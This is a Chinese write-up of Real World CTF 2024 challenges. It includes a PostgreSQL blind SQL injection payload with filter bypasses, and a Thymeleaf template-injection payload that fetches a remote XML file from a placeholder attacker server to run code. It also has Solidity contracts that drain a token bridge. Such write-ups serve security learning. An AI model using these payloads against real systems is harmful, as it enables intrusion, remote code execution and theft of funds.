长亭百川云 - 文章详情

2024RWCTF WriteUp By Mini-Venom

ChaMd5安全团队

93

2024-07-13

招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱

admin@chamd5.org(带上简历和想加入的小组

Web

ChatterBox

整体思路就是sql注入然后通过任意文件包含来打thymeleaf的SSTI。 

第一步:

pgsql时间盲注,似乎没有办法bool盲注因为回显的都一样,所以对网络稳定性有较高要求。

先过一层黑名单又过一层parser。 黑名单的话用xml_concat拼接绕过就行了,parser这里测试了很久。最终搓出来:

h'||''||(xmlconcat('/',query_to_xml('sele'||'ct ca'||'se wh'||'en substr((sele'||'ct passwd from message_users),{str(i)},1)=chr(120) then p'||'g_sl'||'eep(3) else p'||'g_sl'||'eep(0) en'||'d',true,true,'')))||'1

之后就摁爆。

第二步:

通过lo_export写模板文件。审计thymeleaf黑白名单不难找到可利用的类,通过加载任意XML即可RCE。 过滤尖括号,使用[[${1*1}]]绕过。

[[${T(com.zaxxer.hikari.util.UtilityElf).createInstance("org.sprin"+"gframework.context.support.ClassPathXmlApplicationContext","".getClass().forName("org.spring"+"framework.context.support.ClassPathXmlApplicationContext"),"http://vpsip/2.xml")}]]

Misc

The Truth of Plain

流量分析,包含三个流 

题目提示使用了lightsocks,其使用socks5协议,并使用了一个256大小的对称密钥,对8比特的字节进行加密 在本地搭建lightsocks环境,进行抓包 

访问百度,左侧为未加密socks5流量,右侧为加密后socks5流量

pcaket.pcap中通信过程相似,对其相应字节进行匹配,大致猜出是HTTP请求报文(GET请求和HTTP响应)

按照对应内容不断匹配,发现流中传输了Secret.zip文件

使用附件中的Secret.zip文件和加密后文件,获得对称加密的密钥,并对另一个流进行解密,得到以下内容 得到压缩包密钥解密得到key:

HTTP/1.0 200 OK Server: SimpleHTTP/0.6 Python/3.11.4 Date: Mon, 22 Jan 2024 07:08:16 GMT Content-type: application/octet-stream Content-Length: 2008 Last-Modified: Sat, 02 Dec 2023 08:56:01 GMT Once upon a time in the quaint town of Serenity Falls, there lived a young computer whiz named Alex. Alex was known for their exceptional skills in hacking and coding, but they always used their talents for good. The townspeople admired Alex's ability to uncover the truth and bring justice to those who needed it. One day, a mysterious message appeared on Alex's computer screen. It was an anonymous tip about a nefarious plot to sabotage the town's power  grid. Intrigued and determined to protect Serenity Falls, Alex delved into the digital realm, tracing the origins of the message. As Alex unraveled the layers of the virtual puzzle, they discovered a complex network of cybercriminals with plans to plunge the entire town into darkness. The clock was ticking, and Alex needed to act swiftly. With each keystroke, they penetrated firewalls and bypassed encrypted barriers, determined to thwart the impending disaster. The trail led Alex to an abandoned warehouse on the outskirts of town. Armed with their laptop and a sense of purpose, Alex cautiously entered the darkened building. In the heart of the warehouse, they found a room filled with servers and a group of shadowy figures huddled around screens. With a flourish of keystrokes, Alex disabled the malicious code and prevented the impending catastrophe. The criminals were apprehended, and the town of Serenity Falls was safe once more. As the authorities arrived to take the criminals into custody, Alex couldn't help but reflect on the importance of cybersecurity. Turning to the gathered crowd, Alex raised their voice and declared, "In a world where digital threats lurk in the shadows, we must remain vigilant. Remember, the password is 7dd5c046fdb876f6351f4e04e8b43a20. Stay safe, Serenity Falls, and let's build a secure future together." And with those words, Alex became a local hero, not just for their technical prowess, but for their unwavering commitment to safeguarding the  digital realm and the community they called home.

Blockchain

SafeBridge

function _initiateERC20Deposit(address _l1Token, address _l2Token, address _from, address _to, uint256 _amount)         internal     {         IERC20(_l1Token).safeTransferFrom(_from, address(this), _amount);         bytes memory message;         if (_l1Token == weth) {             message = abi.encodeWithSelector(                 IL2ERC20Bridge.finalizeDeposit.selector, address(0), Lib_PredeployAddresses.L2_WETH, _from, _to, _amount             );         } else {             message =                 abi.encodeWithSelector(IL2ERC20Bridge.finalizeDeposit.selector, _l1Token, _l2Token, _from, _to, _amount);         }         sendCrossDomainMessage(l2TokenBridge, message);         deposits[_l1Token][_l2Token] = deposits[_l1Token][_l2Token] + _amount;         emit ERC20DepositInitiated(_l1Token, _l2Token, _from, _to, _amount);     }

在L1网络质押代币时,如果L1Token为weth,会强制在L2发送L2的weth,尽管输入的L2Token不是weth,这样,下面的deposits mapping,相应的L1Token对L2Token的余额也会增加。

    function _initiateWithdrawal(address _l2Token, address _from, address _to, uint256 _amount) internal {         IL2StandardERC20(_l2Token).burn(msg.sender, _amount);         address l1Token = IL2StandardERC20(_l2Token).l1Token();         bytes memory message;         if (_l2Token == Lib_PredeployAddresses.L2_WETH) {             message = abi.encodeWithSelector(IL1ERC20Bridge.finalizeWethWithdrawal.selector, _from, _to, _amount);         } else {             message = abi.encodeWithSelector(                 IL1ERC20Bridge.finalizeERC20Withdrawal.selector, l1Token, _l2Token, _from, _to, _amount             );         }         sendCrossDomainMessage(l1TokenBridge, message);         emit WithdrawalInitiated(l1Token, _l2Token, msg.sender, _to, _amount);     }

而在L2网络取回质押的token时,会burn掉相应数量的L2Token,并通过L2Token的接口获取L1Token,并在L1网络取回相应的L1Token。

function finalizeERC20Withdrawal(address _l1Token, address _l2Token, address _from, address _to, uint256 _amount)         public         onlyFromCrossDomainAccount(l2TokenBridge)     {         deposits[_l1Token][_l2Token] = deposits[_l1Token][_l2Token] - _amount;         IERC20(_l1Token).safeTransfer(_to, _amount);         emit ERC20WithdrawalFinalized(_l1Token, _l2Token, _from, _to, _amount);     }

对于L1网络的取回,会根据deposits mapping取回相应的代币。 攻击过程:

  1. 创建L2网络的假代币,让其调用l1Token时返回L1的weth。

contract FakeL2Token {     address public weth;     constructor() {         weth = address(0x3bA9eBeEDa6BF19092dA4f35BEe3419dd4e55821);     }      function l1Token() external returns (address) {         return weth;     }     function mint(address _to, uint256 _amount) external {     }     function burn(address _from, uint256 _amount) external {     }     function supportsInterface(bytes4 _interfaceId) public pure returns (bool) {         return true;     } }

  1. 环境给我们的私钥两个链各1000 ether,先在L1网络获取2 ether weth,并调用depositERC20To向L2质押2weth,而L2token为之前创建的FakeL2Token

contract Exp {     FakeL1Token public l1Token;     WETH public weth;     constructor() payable {         weth = WETH(payable(0x3bA9eBeEDa6BF19092dA4f35BEe3419dd4e55821));         weth.deposit{value: 2 ether}();                  L1ERC20Bridge bridge = L1ERC20Bridge(address(0xcD467136A8644375e57D62cc2C9AdF36498971bB));         weth.approve(address(bridge), 999 ether);         bridge.depositERC20To(address(weth), address(0x462F28f0099Fbebc90177389081e3df1224D09aB), 0xF6C3eE221C1CD960AC9859d36771C3eED64F015A, 2 ether);     } }

这时不仅在L2获取了weth,同时将deposits mapping的[weth][fakeToken]修改为了2 ether。这时bridge合约的weth余额为4 ether 3. 调用withdraw将L2 weth与Fake Token取回

contract Exp {     address public weth;     L2ERC20Bridge public bridge;     address public l2Token;     constructor() {         // weth = address(0x6cabD3f45ffAe44E1aC0c060B9Be767AA0F7BC18);         bridge = L2ERC20Bridge(address(0x420000000000000000000000000000000000baBe));         // l2Token = address(0x0B1c3a5412ae16640b6094f300441d7Eb13DB813);         // go();     }     function go() public {         bridge.withdraw(address(0xDeadDeAddeAddEAddeadDEaDDEAdDeaDDeAD0000), 2 ether);         bridge.withdraw(address(0x462F28f0099Fbebc90177389081e3df1224D09aB), 2 ether);     } }

调用完成之后会将bridge合约的4 ether weth转出,完成题目条件。

- END -

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2